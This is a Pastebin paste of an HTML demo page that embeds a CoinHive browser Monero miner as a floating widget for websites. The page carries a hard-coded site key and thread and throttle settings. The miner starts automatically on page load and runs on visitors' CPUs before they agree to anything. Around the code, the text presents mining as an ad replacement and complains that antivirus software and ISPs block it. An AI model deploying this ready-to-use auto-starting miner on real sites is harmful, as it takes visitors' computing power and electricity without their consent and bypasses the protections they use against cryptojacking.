Advertisement
mikedopp

JavaScriptMoneroMiner.htm

Apr 11th, 2018
469
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 30.00 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <title>CoinHive - Demo - Monero miner friendly simple GUI by C0nw0nk</title>
  5. <meta charset="UTF-8" />
  6. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
  7. <meta name="viewport" content="width=device-width, initial-scale=1">
  8. <meta name="robots" content="index, follow" />
  9. <meta name="revisit-after" content="1 days" />
  10. <meta name="keywords" content="coinhive, coin, hive, bitcoin, monero, miner, javascript, embed, widget, website, money" />
  11. <meta name="description" content="coinhive bitcoin / monero miner simple javascript graphical user interface to be embeded onto any website as a widget highly customizable fast easy clean and tidy help those who deal with adblockers anti viruses popups banners ads no longer need to rely on advertisers / advertisement companies for money." />
  12.  
  13. <link rel="image_src" href="https://coinhive.com/media/coinhive-icon.png" />
  14. <meta property="og:title" content="CoinHive - Demo - Monero miner friendly simple GUI by C0nw0nk" />
  15. <meta property="og:url" content="https://c0nw0nk.github.io/CoinHive/" />
  16. <meta property="og:image" content="https://coinhive.com/media/coinhive-icon.png" />
  17. <meta property="og:image:height" content="512" />
  18. <meta property="og:image:width" content="512" />
  19. <meta property="og:site_name" content="CoinHive" />
  20. <meta property="fb:app_id" content="" />
  21. <meta property="og:description" content="coinhive bitcoin / monero miner simple javascript graphical user interface to be embeded onto any website as a widget highly customizable fast easy clean and tidy help those who deal with adblockers anti viruses popups banners ads no longer need to rely on advertisers / advertisement companies for money." />
  22. <meta property="og:type" content="website" />
  23.  
  24. </head>
  25. <body>
  26. <style>
  27. html, body {
  28.     margin: 0;
  29.     padding: 0;
  30.     border: 0;
  31. }
  32. </style>
  33. This script is to show as a example how easy it is to embed a nice floating mining widget into your site for your users to interact with.<p>
  34. It is very easy to modify / read you can easly change the designs colors and styles yourself, Enjoy.
  35. <br>
  36. Any issues feel free to post a issue request : <a href="https://github.com/C0nw0nk/CoinHive/issues">Issue Request</a>
  37. <br>
  38. Any contibutions feel free to make a pull request : <a href="https://github.com/C0nw0nk/CoinHive/pulls">Pull Request</a>
  39. <br>
  40. <a href="https://github.com/C0nw0nk/CoinHive">Main GitHub Repo for updates and bug fixes</a>
  41. <br>
  42. <br>
  43. <br>
  44. <br>
  45. <br>
  46. <br>
  47. <h1>Reasons for this script :</h1>
  48. <ul>
  49. <li>It is silent can use little to no cpu power and provides a clean ad free internet experience while allowing the sites you love to stay online.</li>
  50. <li>Ads can be intrusive and annoying, Look at popups for example, flashing images, auto playing sounds etc.</li>
  51. <li>Advertisers don't pay for VPN/Proxy connected or related traffic because they consider it BOT traffic without considering the fact it is only increasing as goverments and who ever you pay every month to supply you with internet access create blockades and blacklists forcing people to use such services to access sites. If someone connects and browses with a known flagged VPN/Proxy to them even if that user is displaying ads and can see them you earn nothing.</li>
  52. <li>Advertisers can scam and won't pay a penny for the most outrageous of reasons.</li>
  53. <li>Advertisers take a percentage before paying you.</li>
  54. <li>Banks, Paypal all also take a percentage and charge fees on transactions of money earned leaving you with less and less hard earned money for your work.</li>
  55. </ul>
  56. <br>
  57. <h1>Same problems as advertisers have with adblockers :</h1>
  58. <ul>
  59. <li>People use their hosts files to blackhole and block domains they can do the same with this.</li>
  60. <li>Your internet service provider also blocking domain access to this script, Soloution can be to login to your account online and turn off parental filters etc what ever it is listed under if they allow you to remove the blocks.</li>
  61. <li>Anti-Viruses and external programs block mining but not popups or other ads that are far more intrusive. (I realy questioned why AV Software and Internet service providers block this script but not the companies taking over my browser with popup windoiws and opening as many tabs as they please.)</li>
  62. </ul>
  63. <br>
  64. <h1>Questionable behaviour by companies who oppose this :</h1>
  65. <ul>
  66. <li>We all have seen sites with Javascript based games that are also cpu intensive but we don't see them getting blocked by Anti-viruses, Adblockers, Internet service providers etc.</li>
  67. <li>Ads, popups get allowed by them all but mining gets blocked.</li>
  68. </ul>
  69. <br>
  70. <br>
  71. <br>
  72. <br>
  73. Began Javascript tag here :
  74. <script type="text/javascript">
  75. /*
  76. Copyright @ Credit https://github.com/C0nw0nk/CoinHive
  77. Expect regular updates and any issues post here : https://github.com/C0nw0nk/CoinHive/issues
  78. */
  79. (function(){
  80. var a = function() {try{return !!window.addEventListener} catch(e) {return !1} },
  81. b = function(b, c) {a() ? document.addEventListener("DOMContentLoaded", b, c) : document.attachEvent("onreadystatechange", b)};
  82. b(function(){
  83. (function(){
  84. var createScriptElement = document.createElement('script'); createScriptElement.type = 'text/javascript'; /*createScriptElement.async = true;*/
  85. var getScriptElement = document.getElementsByTagName('script')[0];
  86. createScriptElement.src = 'https://coinhive.com/lib/coinhive.min.js';
  87. createScriptElement.onload = function () {
  88.   /*User Configs*/
  89.    // site key from CoinHive
  90.    var coinhive_site_key = 'S8AiZxZcW0fbGo0h5mHWhUVNeaz0Dbbm';
  91.    //Start running the miner when loaded and ready. True = Yes | False = No
  92.    var coinhive_automatic_startup = true;
  93.    //Threads - The number of threads the miner should start with. The default is navigator.hardwareConcurrency, i.e. the number of CPU cores available
  94.    var mining_threads = 2;
  95.    //Throttle - The fraction of time that threads should be idle. See miner.setThrottle() for a detailed explanation. The default is 0.
  96.    var mining_throttle = .5;
  97.    //Statistics Update frequency. 1000 = 1 Second.
  98.    var coinhive_statistics_timer = 1000;
  99.   /*HTML Element Names*/
  100.   /*Start Element id names*/
  101.   var html_miner = "miner";
  102.   var html_mining_stats_canvas = "mining-stats-canvas";
  103.   var html_miner_is_running = "mining-is-running";
  104.   var html_miner_is_running_id = "mining-is-running-id";
  105.   var html_miner_is_running_id_output = "mining-is-running-id-output";
  106.   var html_miner_is_running_id_output_yes = "mining-is-running-id-output-yes";
  107.   var html_miner_is_running_id_output_no = "mining-is-running-id-output-no";
  108.   var html_mining_hashes_per_second = "mining-hashes-per-second";
  109.   var html_mining_hashes_per_second_id = "mining-hashes-per-second-id";
  110.   var html_mining_hashes_per_second_id_output = "mining-hashes-per-second-id-output";
  111.   var html_mining_accepted_hashes_per_second = "mining-accepted-hashes-per-second";
  112.   var html_mining_accepted_hashes_per_second_id = "mining-accepted-hashes-per-second-id";
  113.   var html_mining_accepted_hashes_per_second_id_output = "mining-accepted-hashes-per-second-id-output";
  114.   var html_mining_threads = "mining-threads";
  115.   var html_mining_threads_id = "mining-threads-id";
  116.   var html_mining_threads_id_output = "mining-threads-id-output";
  117.   var html_mining_threads_add = "mining-threads-add";
  118.   var html_mining_threads_remove = "mining-threads-remove";
  119.   var html_mining_hashes_total = "mining-hashes-total";
  120.   var html_mining_hashes_total_id = "mining-hashes-total-id";
  121.   var html_mining_hashes_total_id_output = "mining-hashes-total-id-output";
  122.   var html_mining_start = "mining-start";
  123.   var html_mining_stop = "mining-stop";
  124.   var html_addthreads = "addthreads";
  125.   var html_removethreads = "removethreads";
  126.   var html_startmining = "startmining";
  127.   var html_stopmining = "stopmining";
  128.   var html_mining_current_throttle = "mining-current-throttle";
  129.   var html_mining_current_throttle_id = "mining-current-throttle-id";
  130.   var html_mining_current_throttle_id_output = "mining-current-throttle-id-output";
  131.   var html_mining_increase_throttle = "mining-increase-throttle";
  132.   var html_mining_increase_throttle_id = "mining-increase-throttle-id";
  133.   var html_mining_decrease_throttle = "mining-decrease-throttle";
  134.   var html_mining_decrease_throttle_id = "mining-decrease-throttle-id";
  135.   var html_mining_minimal_speed = "mining-minimal-speed";
  136.   var html_mining_minimal_speed_id = "mining-minimal-speed-id";
  137.   var html_mining_maximum_speed = "mining-maximum-speed";
  138.   var html_mining_maximum_speed_id = "mining-maximum-speed-id";
  139.   var html_mining_default_recommended_speed = "mining-default-recommended-speed";
  140.   var html_mining_default_recommended_speed_id = "mining-default-recommended-speed-id";
  141.   var html_mining_show = "mining-show";
  142.   var html_mining_show_id = "mining-show-id";
  143.   var html_mining_hide = "mining-hide";
  144.   var html_mining_hide_id = "mining-hide-id";
  145.   var html_mining_stick = "mining-stick";
  146.   var html_mining_stick_id = "mining-stick-id";
  147.   var html_mining_unstick = "mining-unstick";
  148.   var html_mining_unstick_id = "mining-unstick-id";
  149.   /*End Element id names*/
  150.   /*Start tooltip id*/
  151.   var html_tooltip_id = "tooltiptext";
  152.   var html_tooltip_class_name = "tooltip";
  153.   /*End tooltip id*/
  154.   /*Start button class*/
  155.   var html_button_class_name = "miner-button-class";
  156.   /*End button class*/
  157.   /*Start text area class*/
  158.   var html_text_area_class_name = "miner-text-area-class";
  159.   /*End text area class*/
  160.   /*Start Text Language*/
  161.   var html_text_is_running = "";
  162.   var html_text_is_running_true = "Online";
  163.   var html_text_is_running_false = "Offline";
  164.   var html_text_is_running_tooltip = "If the miner is currently running.";
  165.   var html_text_hashes_per_second = "Hashes/s | ";
  166.   var html_text_hashes_per_second_tooltip = "The total number of hashes per second for all threads combined.";
  167.   var html_text_accepted_hashes_per_second = "Accepted Hashes | ";
  168.   var html_text_accepted_hashes_per_second_tooltip = "The number of hashes that have been accepted by the pool.";
  169.   var html_text_current_number_of_threads = "Threads | ";
  170.   var html_text_current_number_of_threads_tooltip = "Amount of threads you have running currently.";
  171.   var html_text_threads_add = "+";
  172.   var html_text_threads_add_tooltip = "Speed it up! Increases threads, but too many may slow your browser. 3 or 4 are OK in most cases.";
  173.   var html_text_threads_remove = "-";
  174.   var html_text_threads_remove_tooltip = "Slow it down! (decrease threads to 0 to stop entirely)";
  175.   var html_text_hashes_total = "Total Hashes | ";
  176.   var html_text_hashes_total_tooltip = "Hashes you solved so far. We will remove all ads for you once you mine enough. Login to have it keep track of your progress.";
  177.   var html_text_start = "Start";
  178.   var html_text_start_tooltip = "Start the miner.";
  179.   var html_text_stop = "Stop";
  180.   var html_text_stop_tooltip = "Stop the miner.";
  181.   var html_text_usage_current_throttle = "Throttle | ";
  182.   var html_text_usage_current_throttle_tooltip = "How much the miner is currently being throttled.";
  183.   var html_text_usage_increase_throttle = "+";
  184.   var html_text_usage_increase_throttle_tooltip = "Increase the throttle to reduce CPU consumption.";
  185.   var html_text_usage_decrease_throttle = "-";
  186.   var html_text_usage_decrease_throttle_tooltip = "Decrease the throttle to allow more CPU consumption.";
  187.   var html_text_usage_minimal = "Min";
  188.   var html_text_usage_minimal_tooltip = "Use the most minimal amount of CPU and Power possible.";
  189.   var html_text_usage_max_out = "Max";
  190.   var html_text_usage_max_out_tooltip = "Use all CPU and Power available.";
  191.   var html_text_usage_default = "Default";
  192.   var html_text_usage_default_tooltip = "Use Recommended default settings.";
  193.   /*End Text Language*/
  194.   /*End HTML Element Names*/
  195.   /*Create Elements*/
  196.   var createDivElement = document.createElement('div');
  197.   createDivElement.id = html_miner;
  198.   document.body.appendChild(createDivElement);//getScriptElement.parentNode.insertBefore(createDivElement, getScriptElement);/*Create our div element*/
  199.   new_html = "<div id='"+ html_mining_stats_canvas +"'></div>";
  200.   document.getElementById(html_miner).innerHTML = new_html;
  201.   new_html = "<div id='"+ html_miner_is_running +"' class='"+ html_tooltip_class_name +" "+ html_text_area_class_name +"'><span id='"+ html_miner_is_running_id +"'>"+ html_text_is_running +"</span><span id='"+ html_miner_is_running_id_output +"'></span><span id='"+ html_tooltip_id +"'>"+ html_text_is_running_tooltip +"</span></div>";
  202.   document.getElementById(html_mining_stats_canvas).innerHTML += new_html;
  203.   new_html = "<div id='"+ html_mining_hashes_per_second +"' class='"+ html_tooltip_class_name +" "+ html_text_area_class_name +"'><span id='"+ html_mining_hashes_per_second_id +"'>"+ html_text_hashes_per_second +"</span><span id='"+ html_mining_hashes_per_second_id_output +"'></span><span id='"+ html_tooltip_id +"'>"+ html_text_hashes_per_second_tooltip +"</span></div>";
  204.   document.getElementById(html_mining_stats_canvas).innerHTML += new_html;
  205.   new_html = "<div id='"+ html_mining_accepted_hashes_per_second +"' class='"+ html_tooltip_class_name +" "+ html_text_area_class_name +"'><span id='"+ html_mining_accepted_hashes_per_second_id +"'>"+ html_text_accepted_hashes_per_second +"</span><span id='"+ html_mining_accepted_hashes_per_second_id_output +"'></span><span id='"+ html_tooltip_id +"'>"+ html_text_accepted_hashes_per_second_tooltip +"</span></div>";
  206.   document.getElementById(html_mining_stats_canvas).innerHTML += new_html;
  207.   new_html = "<div id='"+ html_mining_threads +"' class='"+ html_tooltip_class_name +" "+ html_text_area_class_name +"'><span id='"+ html_mining_threads_id +"'>"+ html_text_current_number_of_threads +"</span><span id='"+ html_mining_threads_id_output +"'></span><span id='"+ html_tooltip_id +"'>"+ html_text_current_number_of_threads_tooltip +"</span></div>";
  208.   document.getElementById(html_mining_stats_canvas).innerHTML += new_html;
  209.   new_html = "<div id='"+ html_mining_threads_add +"' class='"+ html_tooltip_class_name +" "+ html_button_class_name +"'><span id='"+ html_addthreads +"'>"+ html_text_threads_add +"</span><span id='"+ html_tooltip_id +"'>"+ html_text_threads_add_tooltip +"</span></div>";
  210.   document.getElementById(html_mining_stats_canvas).innerHTML += new_html;
  211.   new_html = "<div id='"+ html_mining_threads_remove +"' class='"+ html_tooltip_class_name +" "+ html_button_class_name +"'><span id='"+ html_removethreads +"'>"+ html_text_threads_remove +"</span><span id='"+ html_tooltip_id +"'>"+ html_text_threads_remove_tooltip +"</span></div>";
  212.   document.getElementById(html_mining_stats_canvas).innerHTML += new_html;
  213.   new_html = "<div id='"+ html_mining_hashes_total +"' class='"+ html_tooltip_class_name +" "+ html_text_area_class_name +"'><span id='"+ html_mining_hashes_total_id +"'>"+ html_text_hashes_total +"</span><span id='"+ html_mining_hashes_total_id_output +"'></span><span id='"+ html_tooltip_id +"'>"+ html_text_hashes_total_tooltip +"</span></div>";
  214.   document.getElementById(html_mining_stats_canvas).innerHTML += new_html;
  215.   new_html = "<div id='"+ html_mining_start +"' class='"+ html_tooltip_class_name +" "+ html_button_class_name +"'><span id='"+ html_startmining +"'>"+ html_text_start +"</span><span id='"+ html_tooltip_id +"'>"+ html_text_start_tooltip +"</span></div>";
  216.   document.getElementById(html_mining_stats_canvas).innerHTML += new_html;
  217.   new_html = "<div id='"+ html_mining_stop +"' class='"+ html_tooltip_class_name +" "+ html_button_class_name +"'><span id='"+ html_stopmining +"'>"+ html_text_stop +"</span><span id='"+ html_tooltip_id +"'>"+ html_text_stop_tooltip +"</span></div>";
  218.   document.getElementById(html_mining_stats_canvas).innerHTML += new_html;
  219.   new_html = "<div id='"+ html_mining_current_throttle +"' class='"+ html_tooltip_class_name +" "+ html_text_area_class_name +"'><span id='"+ html_mining_current_throttle_id +"'>"+ html_text_usage_current_throttle +"</span><span id='"+ html_mining_current_throttle_id_output +"'></span><span id='"+ html_tooltip_id +"'>"+ html_text_usage_current_throttle_tooltip +"</span></div>";
  220.   document.getElementById(html_mining_stats_canvas).innerHTML += new_html;
  221.   new_html = "<div id='"+ html_mining_increase_throttle +"' class='"+ html_tooltip_class_name +" "+ html_button_class_name +"'><span id='"+ html_mining_increase_throttle_id +"'>"+ html_text_usage_increase_throttle +"</span><span id='"+ html_tooltip_id +"'>"+ html_text_usage_increase_throttle_tooltip +"</span></div>";
  222.   document.getElementById(html_mining_stats_canvas).innerHTML += new_html;
  223.   new_html = "<div id='"+ html_mining_decrease_throttle +"' class='"+ html_tooltip_class_name +" "+ html_button_class_name +"'><span id='"+ html_mining_decrease_throttle_id +"'>"+ html_text_usage_decrease_throttle +"</span><span id='"+ html_tooltip_id +"'>"+ html_text_usage_decrease_throttle_tooltip +"</span></div>";
  224.   document.getElementById(html_mining_stats_canvas).innerHTML += new_html;
  225.   new_html = "<div id='"+ html_mining_minimal_speed +"' class='"+ html_tooltip_class_name +" "+ html_button_class_name +"'><span id='"+ html_mining_minimal_speed_id +"'>"+ html_text_usage_minimal +"</span><span id='"+ html_tooltip_id +"'>"+ html_text_usage_minimal_tooltip +"</span></div>";
  226.   document.getElementById(html_mining_stats_canvas).innerHTML += new_html;
  227.   new_html = "<div id='"+ html_mining_maximum_speed +"' class='"+ html_tooltip_class_name +" "+ html_button_class_name +"'><span id='"+ html_mining_maximum_speed_id +"'>"+ html_text_usage_max_out +"</span><span id='"+ html_tooltip_id +"'>"+ html_text_usage_max_out_tooltip +"</span></div>";
  228.   document.getElementById(html_mining_stats_canvas).innerHTML += new_html;
  229.   new_html = "<div id='"+ html_mining_default_recommended_speed +"' class='"+ html_tooltip_class_name +" "+ html_button_class_name +"'><span id='"+ html_mining_default_recommended_speed_id +"'>"+ html_text_usage_default +"</span><span id='"+ html_tooltip_id +"'>"+ html_text_usage_default_tooltip +"</span></div>";
  230.   document.getElementById(html_mining_stats_canvas).innerHTML += new_html;
  231.   /*End Create Elements*/
  232.   /*Create Style Sheet*/
  233.   var createStyleElement = document.createElement('style'); createStyleElement.type = "text/css";
  234.   createStyleElement.innerHTML += ""
  235.   +"#"+html_miner+"{"
  236.   +"position:fixed;"
  237.   +"bottom:0;"
  238.   +"left:0;"
  239.   +"background-color:#262626;"
  240.   +"color:#FFFFFF;"
  241.   +"width:auto;"
  242.   +"height:auto;"
  243.   +"border-radius:3px;"
  244.   +"z-index:30;"
  245.   +"}"
  246.   +"#"+html_mining_stats_canvas+"{"
  247.   +"display:inline-block;"
  248.   +"width:100%;"
  249.   +"}"
  250.   +"#"+html_miner_is_running+"{"
  251.   +"display:inherit;"
  252.   +"}"
  253.   +"#"+html_miner_is_running_id+"{"
  254.   +"}"
  255.   +"#"+html_miner_is_running_id_output+"{"
  256.   +"}"
  257.   +"."+html_miner_is_running_id_output_yes+"{"
  258.   +"color:greenyellow;"
  259.   +"}"
  260.   +"."+html_miner_is_running_id_output_no+"{"
  261.   +"color:#f00;"
  262.   +"}"
  263.   +"#"+html_mining_hashes_per_second+"{"
  264.   +"display:inherit;"
  265.   +"}"
  266.   +"#"+html_mining_hashes_per_second_id+"{"
  267.   +"display:inherit;"
  268.   +"}"
  269.   +"#"+html_mining_hashes_per_second_id_output+"{"
  270.   +"display:inherit;"
  271.   +"padding:0px 0px 0px 5px;"
  272.   +"}"
  273.   +"#"+html_mining_accepted_hashes_per_second+"{"
  274.   +"display:inherit;"
  275.   +"}"
  276.   +"#"+html_mining_threads+"{"
  277.   +"display:inherit;"
  278.   +"}"
  279.   +"#"+html_mining_threads_add+"{"
  280.   +"display:inherit;"
  281.   +"}"
  282.   +"#"+html_mining_threads_remove+"{"
  283.   +"display:inherit;"
  284.   +"}"
  285.   +"#"+html_mining_hashes_total+"{"
  286.   +"display:inherit;"
  287.   +"}"
  288.   +"#"+html_mining_start+"{"
  289.   +"display:inherit;"
  290.   +"}"
  291.   +"#"+html_mining_stop+"{"
  292.   +"display:inherit;"
  293.   +"}"
  294.   +"#"+html_addthreads+"{"
  295.   +"}"
  296.   +"#"+html_removethreads+"{"
  297.   +"}"
  298.   +"#"+html_startmining+"{"
  299.   +"}"
  300.   +"#"+html_stopmining+"{"
  301.   +"}"
  302.   +"#"+html_mining_current_throttle+"{"
  303.   +"display:inherit;"
  304.   +"}"
  305.   +"#"+html_mining_increase_throttle+"{"
  306.   +"display:inherit;"
  307.   +"}"
  308.   +"#"+html_mining_decrease_throttle+"{"
  309.   +"display:inherit;"
  310.   +"}"
  311.   +"#"+html_mining_minimal_speed+"{"
  312.   +"display:inherit;"
  313.   +"}"
  314.   +"#"+html_mining_maximum_speed+"{"
  315.   +"display:inherit;"
  316.   +"}"
  317.   +"#"+html_mining_default_recommended_speed+"{"
  318.   +"display:inherit;"
  319.   +"}"
  320.   /*Start miner buttons*/
  321.   +"."+html_button_class_name+"{"
  322.   +"text-decoration: none;"
  323.   +"display: inline-block;"
  324.   +"padding: 0px 10px;"
  325.   +"margin: 2px;"
  326.   +"border: 1px solid #C7C7C7;"
  327.   +"border-radius: 3px;"
  328.   +"-moz-border-radius: 2px;"
  329.   +"-webkit-border-radius: 2px;"
  330.   +"background: #636A6C;"
  331.   +"background: -moz-linear-gradient(top,#636A6C 0%,#51575A 100%);"
  332.   +"background: -webkit-gradient(linear,left top,left bottom,color-stop(0%,#636A6C),color-stop(100%,#51575A));"
  333.   +"background: -webkit-linear-gradient(top,#636A6C 0%,#51575A 100%);"
  334.   +"background: -o-linear-gradient(top,#636A6C 0%,#51575A 100%);"
  335.   +"background: -ms-linear-gradient(top,#636A6C 0%,#51575A 100%);"
  336.   +"background: linear-gradient(top,#636A6C 0%,#51575A 100%);"
  337.   +"filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#636A6C',endColorstr='#51575A',GradientType=0);"
  338.   +"}"
  339.   +"."+html_button_class_name+":hover{"
  340.   +"display: inline-block;"
  341.   +"padding: 0px 10px;"
  342.   +"margin: 2px;"
  343.   +"border-radius: 3px;"
  344.   +"background: #ddd;"
  345.   +"background: -webkit-gradient(linear,left top,left bottom,color-stop(0,#fff),color-stop(1,#ddd));"
  346.   +"background: -moz-linear-gradient(top center,#fff 0%,#ddd 100%);"
  347.   +"background: -webkit-linear-gradient(top,#ffffff 0%,#dddddd 100%);"
  348.   +"background: -o-linear-gradient(top,#ffffff 0%,#dddddd 100%);"
  349.   +"background: -ms-linear-gradient(top,#ffffff 0%,#dddddd 100%);"
  350.   +"background: linear-gradient(top,#ffffff 0%,#dddddd 100%);"
  351.   +"filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff',endColorstr='#dddddd',GradientType=0);"
  352.   +"border: 1px solid;"
  353.   +"border-color: #ddd #bbb #999;"
  354.   +"cursor: pointer;"
  355.   +"color: #333;"
  356.   +"}"
  357.   /*End miner buttons*/
  358.   /*Start text area box*/
  359.   +"."+html_text_area_class_name+"{"
  360.   +"border:1px solid #e5e5e4;"
  361.   +"padding:0px 5px 0px 5px;"
  362.   +"}"
  363.   /*End text area box*/
  364.   /*Start ToolTip*/
  365.   +"."+html_tooltip_class_name+"{"
  366.   +"position: relative;"
  367.   +"overflow:visible;"
  368.   +"}"
  369.   +"."+html_tooltip_class_name+" #"+html_tooltip_id+"{"
  370.   +"visibility: hidden;"
  371.   +"width:0px;"
  372.   +"height:0px;"
  373.   +"background-color: black;"
  374.   +"color: #fff;"
  375.   +"text-align: center;"
  376.   +"border-radius: 6px;"
  377.   +"padding: 5px 5px;"
  378.   +"position: absolute;"
  379.   +"z-index: 1;"
  380.   +"bottom: 150%;"
  381.   +"left: 50%;"
  382.   +"margin-left: -5px;"
  383.   +"overflow:hidden;"
  384.   +"}"
  385.   +"."+html_tooltip_class_name+":hover #"+html_tooltip_id+"{"
  386.   +"visibility: visible;"
  387.   +"width:auto;"
  388.   +"height:auto;"
  389.   +"overflow:hidden;"
  390.   +"white-space:nowrap;"
  391.   +"}"
  392.   /*End ToolTip*/
  393.   +"";
  394.   getScriptElement.parentNode.insertBefore(createStyleElement, getScriptElement);/*Create our StyleSheet element*/
  395.   /*End Create Style Sheet*/
  396.   /*Start CoinHive settings*/
  397.   /*
  398.   threads     The number of threads the miner should start with. The default is navigator.hardwareConcurrency, i.e. the number of CPU cores available on the user's computer.
  399.   autoThreads Whether to automatically adjust the number of threads for optimal performance. This feature is experimental. The default is false.
  400.   throttle    The fraction of time that threads should be idle. See miner.setThrottle() for a detailed explanation. The default is 0.
  401.   forceASMJS  If true, the miner will always use the asm.js implementation of the hashing algorithm. If false, the miner will use the faster WebAssembly version if supported and otherwise fall back to asm.js. The default is false.
  402.   */
  403.   var miner = new CoinHive.Anonymous(coinhive_site_key, {throttle:mining_throttle,threads:mining_threads});
  404.   /*
  405.   Default : CoinHive.IF_EXCLUSIVE_TAB
  406.   CoinHive.IF_EXCLUSIVE_TAB    The miner will only start if no other tabs are already mining. If all miners in other tabs are stopped or closed at a later point, the miner will then start. This ensures that one miner is always running as long as one tab of your site is open while keeping costly pool reconnections at a minimum.
  407.   CoinHive.FORCE_EXCLUSIVE_TAB The miner will always start and immediately kill all miners in other tabs that have not specified CoinHive.FORCE_MULTI_TAB.
  408.   CoinHive.FORCE_MULTI_TAB     The miner will always start. It will not announce its presence to other tabs, will not kill any other miners and can't be killed by other miners. This mode is used by the captcha and shortlinks.
  409.   */
  410.   var coinhive_starting_mode = CoinHive.IF_EXCLUSIVE_TAB;
  411.   /*End Coinhive settings*/
  412.   /*Start CoinHive functions*/
  413.   function getHashesPerSecond() {
  414.     return miner.getHashesPerSecond().toFixed(1);
  415.   }
  416.   function getTotalHashes(interpolate) {
  417.     return miner.getTotalHashes(interpolate);
  418.   }
  419.   function getAcceptedHashes() {
  420.     return miner.getAcceptedHashes();
  421.   }
  422.   function stop() {
  423.     return miner.stop();
  424.   }
  425.   function start(mode) {
  426.     return miner.start(mode);
  427.   }
  428.   function getNumThreads() {
  429.     return miner.getNumThreads();
  430.   }
  431.   function setNumThreads(numThreads) {
  432.     return miner.setNumThreads(numThreads);
  433.   }
  434.   function threadsAdd() {
  435.     start(coinhive_starting_mode);/*incase it is not running when user interacts with this*/
  436.     return setNumThreads(getNumThreads()+1);
  437.   }
  438.   function threadsRemove() {
  439.     start(coinhive_starting_mode);/*incase it is not running when user interacts with this*/
  440.     return setNumThreads(getNumThreads()-1);
  441.   }
  442.   function isRunning() {
  443.     return miner.isRunning();
  444.   }
  445.   function hasWASMSupport() {
  446.     return miner.hasWASMSupport();
  447.   }
  448.   function getAutoThreadsEnabled() {
  449.     return miner.getAutoThreadsEnabled();
  450.   }
  451.   function setAutoThreadsEnabled(enabled) {
  452.     return miner.setAutoThreadsEnabled(enabled);
  453.   }
  454.   function getThrottle() {
  455.     return Math.round( miner.getThrottle().toFixed(1) * 1e2 ) / 1e2;
  456.   }
  457.   function setThrottle(throttle) {
  458.     return miner.setThrottle(throttle);
  459.   }
  460.   function IncreaseThrottle() {
  461.     start(coinhive_starting_mode);/*incase it is not running when user interacts with this*/
  462.     return setThrottle(getThrottle() + 0.1);
  463.   }
  464.   function DecreaseThrottle() {
  465.     start(coinhive_starting_mode);/*incase it is not running when user interacts with this*/
  466.     return setThrottle(getThrottle() - 0.1);
  467.   }
  468.   function getToken() {
  469.     return miner.getToken();
  470.   }
  471.   var original_recommended_thread_count = getNumThreads();
  472.   var original_recommended_throttle_speed = getThrottle();
  473.   function maximum_settings() {
  474.     setThrottle(0);
  475.     setNumThreads(original_recommended_thread_count);
  476.     start(coinhive_starting_mode);/*incase it is not running when user interacts with this*/
  477.   }
  478.   function minimal_settings() {
  479.     setThrottle(0.9);
  480.     setNumThreads(1);
  481.     start(coinhive_starting_mode);/*incase it is not running when user interacts with this*/
  482.   }
  483.   function default_recommended_settings() {
  484.     setThrottle(original_recommended_throttle_speed);
  485.     setNumThreads(original_recommended_thread_count);
  486.     start(coinhive_starting_mode);/*incase it is not running when user interacts with this*/
  487.   }
  488.   /*End CoinHive functions*/
  489.   /*functions to be called onclick interactions with elements*/
  490.   document.getElementById(html_mining_threads_add).onclick = function() {return threadsAdd();};
  491.   document.getElementById(html_mining_threads_remove).onclick = function() {return threadsRemove();};
  492.   document.getElementById(html_mining_start).onclick = function() {return start(coinhive_starting_mode);};
  493.   document.getElementById(html_mining_stop).onclick = function() {return stop();};
  494.   document.getElementById(html_mining_increase_throttle).onclick = function() {return IncreaseThrottle();};
  495.   document.getElementById(html_mining_decrease_throttle).onclick = function() {return DecreaseThrottle();};
  496.   document.getElementById(html_mining_minimal_speed).onclick = function() {return minimal_settings();};
  497.   document.getElementById(html_mining_maximum_speed).onclick = function() {return maximum_settings();};
  498.   document.getElementById(html_mining_default_recommended_speed).onclick = function() {return default_recommended_settings();};
  499.   /*End Functions to be called onclick*/
  500.   if (coinhive_automatic_startup) {
  501.     start(coinhive_starting_mode);/*Start the miner Automaticly*/
  502.   }
  503.   /*Disable functions*/
  504.   //miner.stop = undefined;
  505.   /*End Disable functions*/
  506.   /*Listen on Events*/
  507.   miner.on('open', function() { /* open */ })
  508.   miner.on('authed', function(params) { /*console.log('Token name is: ', getToken());*/ });
  509.   miner.on('close', function() { /* close */ })
  510.   miner.on('error', function(params) { /*if (params.error !== 'connection_error') {console.log('The pool reported an error', params.error);}*/ });
  511.   miner.on('job', function() { /* job */ })
  512.   miner.on('found', function() { /* Hash found */ })
  513.   miner.on('accepted', function() { /* Hash accepted by the pool */ })
  514.   /*End Listen Events*/
  515.   /*Timer Update stats once per second*/
  516.   setInterval(function() {
  517.     is_running = "";
  518.     if (isRunning()) {
  519.       is_running = html_text_is_running_true;
  520.       document.getElementById(html_miner_is_running_id_output).className = html_miner_is_running_id_output_yes;
  521.     } else {
  522.       is_running = html_text_is_running_false;
  523.       document.getElementById(html_miner_is_running_id_output).className = html_miner_is_running_id_output_no;
  524.     }
  525.     /*Output to HTML elements*/
  526.     document.getElementById(html_miner_is_running_id_output).innerHTML = is_running;
  527.     document.getElementById(html_mining_hashes_per_second_id_output).innerHTML = getHashesPerSecond();
  528.     document.getElementById(html_mining_accepted_hashes_per_second_id_output).innerHTML = getAcceptedHashes();
  529.     document.getElementById(html_mining_threads_id_output).innerHTML = getNumThreads();
  530.     document.getElementById(html_mining_hashes_total_id_output).innerHTML = getTotalHashes(true);
  531.     document.getElementById(html_mining_current_throttle_id_output).innerHTML = getThrottle();
  532.   }, coinhive_statistics_timer);
  533.   /*End Timer*/
  534. }
  535. createScriptElement.onerror = function () {
  536. /*document display error message*/
  537. }
  538. getScriptElement.parentNode.insertBefore(createScriptElement, getScriptElement);
  539. })();
  540. }, false);
  541. })();
  542. </script>
  543. Script tag ended here :
  544. <br>
  545. <br>
  546. <br>
  547. Body Tag ends here :
  548. </body>
  549. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement